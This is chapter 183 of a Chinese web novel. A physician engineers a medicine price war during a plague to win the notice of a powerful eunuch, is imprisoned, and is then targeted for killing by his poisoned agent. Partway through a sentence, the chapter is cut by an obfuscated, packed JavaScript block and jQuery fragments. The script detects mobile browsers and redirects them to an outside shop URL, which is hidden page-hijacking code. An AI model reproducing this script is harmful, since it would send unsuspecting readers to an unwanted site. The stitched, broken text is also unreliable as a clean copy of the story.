183. 苦尘歌(十三)
作品:《百草留芳》 京城东市的街道上,人群熙攘,然而气氛却异常压抑焦虑,街角不时传来压抑的咳嗽声。
“这药越来越贵了,再涨下去我们哪里还能吃得起啊。”一个面黄肌瘦的妇人攥着空药包,在“济世堂”医馆门前哭诉。她粗糙的手指因长期劳作而变形,此刻正无助地颤抖着。
她身旁的男子紧张地环顾四周,像只受惊的兔子。
“现在城防营到处抓人,只要病情严重点的,都得被扔出城外自生自灭。”他打了个寒颤,眼神惶恐,手指无意识地抓挠着衣角,那里已经被抓出了破洞。“城外那是什么地方,那群人已经疯了啊,他们吃人啊!这药必须吃,我们不能被抓出去,不能被抓出去。”
这时,一个衣着相对体面的中年人抱着满怀药包匆匆走过,药包堆得几乎遮住了他的视线。
男子瞪大眼睛,像是看到了救星,“老王,你,你哪来这么多药啊?”
“城东买的啊,”老王擦了擦额头的汗,警惕地看了看四周,“那边有家新开的‘仁心医馆'',药特别便宜,比这里便宜一半还不止。”
男子二话不说,像离弦的箭一样转身就跑,“孩儿他娘,你在这里照顾孩子,我马上去买药!”
与此同时,“济世堂”内,药铺伙计愁眉苦脸地向掌柜汇报:“掌柜的,百姓们全到城东抢药去了,今日店里一点生意都没有。他们的价格比我们低一半啊,这还怎么卖?”
柜台后的雅间里,陆凝慢条斯理地品着茶,氤氲的热气模糊了她脸上的表情。
她看向满头大汗的王掌柜,装作什么都没听到,开口问道:“怎么样?王掌柜,这生意你做不做啊。”
王掌柜搓着手,笑容谄媚得几乎要挤出油来,“哎呀,陆当家的,你们漠上青的口碑我是相信的,但这个价格是不是有点……。”
他苦着脸,指了指门外,“你应该也知道城东那边的价格比我们便宜上许多,我们根本卖不出去啊。”
“为什么他们能卖出去,你们却卖不出去?”陆凝放下茶盏,瓷器与木桌相碰发出清脆的声响。
“他们的价格低啊。”王掌柜脱口而出,随即意识到自己说错了话,急忙补充道,“我的意思是,现在百姓们都图便宜,根本不看药材的质量……”
陆凝轻笑一声,那笑声里带着几分嘲讽,“王掌柜,我这个价格你完全有的赚,你也不是我合作的第一家客户了。”
她站起身,整理了一下衣摆,作势要走,“现在这东西可是卖一件少一件,你们还有别的进货渠道吗?如果不愿意做这笔生意,就别耽误了我去另一家做生意的时间啊。”
“别啊,陆当家,”王掌柜急忙拦住她,额头上渗出细密的汗珠,“我们再谈谈,再谈谈。”
他的眼神在陆凝和门外之间来回移动,显然在进行激烈的思想斗争。
陆凝哪里会多给他犹豫思考的机会,继续添油加醋,“就算是低价出售,也总有卖完的一天,只要你们的价格更低,还愁卖不出去?”
“况且,我提供的这批药材,可是从南边新到的上等货,药效比城东那些不知道强多少倍。”
王掌柜咬了咬牙,终于下定了决心,颤抖着手拿起笔,“是,是,陆当家说的是,我这就签合同,这就签。”
******
三日后,漠上青镖局的暗室内,阿纳芹娅将一叠银票重重拍在桌上,震得茶盏叮当作响。
“小野猫,果然如你所料啊,他们因为比药价已经打起来了。”她数着钱,笑得见牙不见眼,“今天早上,‘济世堂''和‘仁心医馆''的人直接在街上动起手来,差点闹出人命。”
陆凝闭着眼冥思,淡淡地说道:“还不够。”
“这还不够?”阿纳芹娅瞪大眼睛,不可置信地看着她,“现在这药的最低价已经快接近成本价了,再这样下去,整个京城的药铺都得关门大吉。”
“我是说,”陆凝抬起眼,眸中闪烁着冷冽的光芒,“这场混战还不够,不够引人注目。”
她转向角落里待命的男子,“阿通,你带点人,隐蔽身份,去各家闹事,闹得越大越好。”
“记住,一定要让他们以为是对方派来的人。”
阿通躬身领命,勾唇一笑,露出小虎牙,“当家的放心,我知道该怎么做。”
又过了两日,京城药市彻底陷入混乱。当全城的药铺几乎为争夺客源大打出手,甚至发生了多起纵火事件时,一队点睛阁的人马终于在黄昏时分包围了陆凝下榻的客栈。
“陆当家是吗?”一个面白无须的年轻宦官尖声道,他身后跟着十余名侍卫,“曹督公有请。”
陆凝从容不迫地站起身,早已预料到这一刻的到来,不急不忙地整理了一下衣襟,“劳烦公公带路。”
点睛阁地牢阴冷潮湿,血腥和腐败的气味令人作呕。陆凝跪在潮湿的石板上,冰冷的水汽透过薄薄的衣料渗入肌肤,让她不由自主地打了个寒颤。远处传来铁链拖地的声响,在空旷的地牢中回荡,令人毛骨悚然。
“草民见过曹督公。”她伏低身子,额头几乎触地,姿态谦卑至极。
“抬起头来,”一个清亮却并不阴柔的声音响起,“让咱家瞧瞧这个祸乱药价的人是个什么模样。”
陆凝缓缓抬头,只见曹谨行坐在一张紫檀木太师椅上,一身猩红蟒袍在火把映照下如血般刺目。他约莫四十出头,面白无须,一双狭长的眼睛似闭非闭,手中把玩着一串翡翠佛珠,看似随意却压迫感十足。
“说吧,”他的语气平静无波,“你这么做的目的是什么?”
“当然是想让曹督公注意到我。”陆凝直视他的眼睛,毫不退缩。
佛珠突然停止转动,曹谨行的声音陡然冷了下来,“能入咱家眼的只有两种人,一种是有用的人,一种是死人。”
他俯身向前,阴毒的目光锁定在陆凝脸上,“你是哪一种?”
被这样一双眼睛盯着,陆凝只觉得背脊发凉,她咬了咬嘴唇,强装镇定,“我的能力不都展现在您眼前了吗?外面疫病横行,我不想死所以我想搭上您这艘船。”
“咱家记得,”曹谨行突然话锋一转,嘴角勾起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147838|181159||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一抹冷笑,手指轻轻敲击着扶手,“你是太子带进宫的那个江湖游医吧。”
“咱家要怎么相信,这不是你和太子联合设的圈套啊。”
“正因为太子带我给皇上医治过,”陆凝迅速回应,恰到好处地流露出敬畏的神情,展示着自己的诚心,“草民才能见识到督公的厉害之处,连皇帝的性命都在您的一念之间,草民又有什么理由不倾佩呢。”
曹谨行眯起眼,细长的眼睛几乎成了一条缝,“怎么?咱家听闻你可是蛮族呼莫尔部族的神医啊,竟是连城中的疫病都解决不了,还要费尽心思装模作样演上这么一出戏来骗解药吗?”
一眼被看穿计谋后,陆凝额头渗出冷汗,她抬手用袖子擦了擦,立马磕头恳求着,“草民只不过是想活着,还请曹谨行给草民这个机会啊。”
长久的沉默后,曹谨行突然轻描淡写地一挥手,“来人啊,此人扰乱市场,罪大恶极,关入大牢。”
当铁门在身后重重关闭时,陆凝才发觉自己的衣衫已被冷汗浸透。她靠在冰冷的石墙上,缓缓滑坐到地上。地牢中弥漫着霉味和血腥气,远处传来犯人的撕心裂肺的惨叫声,刺混合着空气中浓重的血腥气,不断刺激着她紧绷的精神。她不确定自己的表演是否成功,但至少,鱼饵已经抛下。
不知过了多久,点睛阁机密堂传来脚步声,曹谨行抬手落下一枚棋子,嘴角勾起一抹笑意,“玄衣啊,咱家知道,你是不会死的。出来吧。”
阴影中,莫苏勒缓步走出。
“怎么,”曹谨行轻笑,声音中带着猫捉老鼠般的戏谑,“是为了你那个小郎中而来?”
“我回来,这不是你最想看到的吗?”莫苏勒却只是有些破罐子破摔地说道,“反正我已经被你发现了,与其再躲藏,不如主动回来。”
“哈哈哈哈哈哈,”曹谨行笑起来,笑声刺耳而疯狂,“怎么,逃了这么久终于发现只有咱家这里才能为你遮风避雨吗?”
“玄衣,你是咱家最喜欢的一个孩子,可你也总是最让我失望啊。”
“我并不觉得,”莫苏勒冷静反驳,声音没有任何起伏,“白衣手下的离魂塔毁了,红衣的卧底任务也失败了,只有我,这么多年潜藏在敕拓,为你做了不少暗中的交易和买卖。”
曹谨行摇头,手中的佛珠又开始转动,“可如今的你,咱家不相信。”
他的目光锐利如刀,仿佛要剖开莫苏勒的内心,“你的眼睛里,多了些不该有的东西。”
“你要我做什么?”莫苏勒直接问道,没有多余的任何解释。
“老规矩。”曹谨行从袖中取出一个小瓷瓶,瓶身在火把映照下泛着幽暗的光泽。
莫苏勒接过瓷瓶,毫不犹豫地拔开瓶塞,将里面的药丸倒入口中。片刻后,他的额头渗出冷汗,肌肉不受控制地抽搐,但他始终咬紧牙关,一声不吭。
“很好,”曹谨行满意地点头,脸上露出残忍的笑意,“给你第一个任务。”
“杀了那个小郎中。”
“让咱家看看,你到底还是不是咱家的玄衣。”

